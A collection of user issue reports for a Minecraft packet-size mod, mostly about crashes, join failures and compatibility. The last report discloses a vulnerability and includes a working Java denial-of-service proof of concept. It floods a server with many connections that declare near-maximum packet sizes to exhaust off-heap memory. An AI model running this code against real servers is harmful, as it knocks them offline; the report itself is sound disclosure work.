You should probably check this out.
All of my newer modpacks are unplayable as of last night due to the 2/11/24 update of this mod. Very disappointed.

Hello.
After updating today (1.1.6), my friend can't join me anymore, and the Essential support team redirected me here.
debug.log:
debug.log
debug.log of my friend trying to join:
debug (3).log
Apparently linekd to PacketFixer.
Additionally, could have no link but since the update, sometimes when I try to join my world it says something about f_xxxxxx (x being numbers) and "internal exception cannot read field because "player" is null
then it fixes itself and doesn't happen again. very odd...
Anyways, this is the error my friend gets when trying to join:
Mod version 1.1.1
latest.log
Players still cannot enter the server, the log is as follows
com.mojang.authlib.GameProfile@4da24abc[id=,name=111,properties={},legacy=false] lost connection: Internal Exception: io.netty.handler.codec.DecoderException: java.lang.IndexOutOfBoundsException: readerIndex(1591) + length(1) exceeds writerIndex(1591): PooledUnsafeDirectByteBuf(ridx: 1591, widx: 1591, cap: 1591)

[18:55:54] [Server thread/WARN]: handleDisconnection() called twice
Is this mod able to work fully client side? I have it client side and when I pick up a shulker full of book bans, I dont get kicked which is good, but when I then open my inventory I do, or when I move it if I open a chest while its in my inventory. or when I open a book ban shulker while having one in my inventory too.
I think this could be fixed by making sure the inventory doesnt send less packages or something, honestly im not sure, but just like how dropping the item(the book ban shulker) and picking it up doesnt ban you, im hoping theres a way to have it not do that when opening your inventory. all client side hopefully.
Hi i installed this mod on 1.16.5 modpack with 300+ mods and error is still here, please help fix it

This was tested on a clean 1.20.1 NeoForge install with no other mods installed. Logfile.
I am running JRE 8u411 (latest).
latest.log
looks like a conflict with ferrite core. In the statement compatibility
latest update for the mod says it's for fabric. instead of forge. please tag it properly so my pack stops prompting me to download a version of a mod I can't even use. (which also resulted in my friends being unable to join me for a bit until I realized. since I need this mod to fix that giant packet bug it patches)
I know this bug is fixed in current versions, the thing is, those fixes aren't available in 1.16.5 yet
Configuration:
Minecraft 1.19.2
Forge Loader: 43.3.9
packetfixer 1.3.0
Issue:
Game loads, but immediately crashes after clicking to enter the world "mouseClicked event handler".
Downgrading to 1.2.9 fixes the problem.
Me and my friends put together a modpack for 1.20.1 fabric and at first it kept kicking us from the server with the "Payload may not be larger than 1048576 bytes" error. We found packet fixer and put it on the server and the modpack because we thought it would help, but we still can't get on the server and when it kicks us off the server it still says "Payload may not be larger than 1048576 bytes".
Hey!
I have an issue where when i try to join a server, i get an issue where X number cant fit to 3 in a modpack. I assume this is something to do with packets? I saw that someone else also had this issue, but this is for a different version (1.20.1).
Ive been trying to solve this for 5 days now, and im going insane. I noticed mention that Krypton should be deleted, but no dice. Same with Chipped and Wood Good (Deleted Wood Good, no dice). I have tried to binary the modpack for days but nothing useful has come up. I do have ALOT of mods (~500), but even when shrink to mere ~300-250, the issue is still there.
Any help with the issue would be greatly appreciated.
Log of the error (Full log is too big for PasteBin) https://pastebin.com/RVXSCttW
PacketFixes version: 1.1.7-Fabric
I cannot seem to enter a server because of it, and I believe it is packet related.
latest.log
NBT tag too large errors occured also while having this mod installed in my server. Is a common mod? An only client mod? Or works also on servers? Actually didn't resolved my problem and i don t know what to do
Crash on Load Phase because new version server forge is not suported
Minecraft : 1.19.3-44.1.22

error on the client

After adding your mod to my modpack the game crashes.
Everything is updated: Windows 10 (22H2), Adoptium Java 17 (17.0.8.7) for 1.20.1 and all mods are updated too.
Nothing in the modrinth changelog and it causes a rash (with no crash log) during boot.

A config to disable each mixin/ Feature. Allowing this mod to be more compatible with other mods that do similar things such as Connectivity.
You have the Curseforge "Prevent Third-Party Distribution" setting enabled, which prevents your mod from being used on third-party launchers. Many people do not want to use the Overwolf launcher due to privacy and data-harvesting concerns, or inaccessibility on Linux, and this restriction makes it difficult for those people to use modpacks with your mod in them, as well as discouraging pack developers from including your mod. Additionally, it makes it much more difficult to host a server with this mod. For more details, see https://gist.github.com/copygirl/7d45bad739453d2be61138cebafce04c
I'm assuming this is unintentional since your mod is under the MIT License and available on Modrinth.

and I can't join my server, everything starts, but it throw an error when I log to my server, it seems to be related to connectivity + packetFixer :

Mod Version: PacketSizeDoubler 1.0.8 V: 1.19.x
I am using this modpack
I installed your mod. got server crash (i am using a server pack that excludes client side mods). disabled the mods pluto and xl packets. tried again. server crash on startup still occurs
Configuration:
Issue:
Modpack for reproduction if required: https://www.dropbox.com/scl/fo/87nzgnzbpqanyuc36s7pg/APimk4dwfnMFIBBAdswHXuo?rlkey=ap1lx5qdlz7odvn1dhelonu4b&st=66bi6r8n&dl=0

Guessing something weird is going on with some origins or Create mod... unsure though / can't see an obvious culprit with my limited knowledge.
Hi, I discover that this mod allow / accept large packet size such as Integer.MAX_VALUE and cause huge offheap allocation (offheap mean it bypass Xmx)
this example code will send huge ping packet to server and cause high cpu usage + high memory usage
import java.io.OutputStream;
import java.util.Arrays;
public class OffHeapBuster {
private static final byte[] ZEROS = new byte[1048576];
// tune connection for impact
private static final int CONNECTIONS = 256;
private static final int PACKET_SIZE = Integer.MAX_VALUE - 10;
private static final int SEGMENT_BITS = 0x7F;
private static final int CONTINUE_BIT = 0x80;
private static final byte[] MAGIC;
// slow down after this threshold to prevent gc to clear buffer
private static int SLOW_THRESHOLD = 1073741825;
static {
byte[] out = new byte[20];
var idx = writeVarInt(PACKET_SIZE, out);
out[idx++] = 1; // ping
out[idx++] = 0; // zero
MAGIC = Arrays.copyOf(out, idx);
}
public static void main(String[] args) throws Exception {
for (int i = 0; i < CONNECTIONS; i++) {
Thread.sleep(200);
new Thread(() -> nuke("localhost", 25565)).start();
}
}
// https://wiki.vg/Protocol#Type:VarInt
static int writeVarInt(int value, byte[] out) {
int count = 0;
while (true) {
if ((value & ~SEGMENT_BITS) == 0) {
out[count++] = (byte) value;
return count;
}
//writeByte((value & SEGMENT_BITS) | CONTINUE_BIT);
out[count++] = (byte) ((value & SEGMENT_BITS) | CONTINUE_BIT);
// Note: >>> means that the sign bit is shifted with the rest of the number rather than being left alone
value >>>= 7;
}
}
static void nuke(String host, int port) {
while (true) {
try {
var tcp = new java.net.Socket(host, port);
System.out.println(Thread.currentThread().getName() + " connected");
var tx = tcp.getOutputStream();
writeUntil(tx, SLOW_THRESHOLD, 131072, 10);
writeUntil(tx, (Integer.MAX_VALUE - SLOW_THRESHOLD) - 2, 8193, 1000);
} catch (Exception e) {
System.out.println(Thread.currentThread().getName() + " error:" + e.getMessage());
}
}
}
static void writeUntil(OutputStream outputStream, int amount, int chunkSize, int delay) throws Exception {
var remaining = amount;
while (remaining > 0) {
var write = Math.min(Math.min(chunkSize, remaining), ZEROS.length);
outputStream.write(ZEROS, 0, write);
outputStream.flush();
Thread.sleep(delay);
remaining -= write;
}
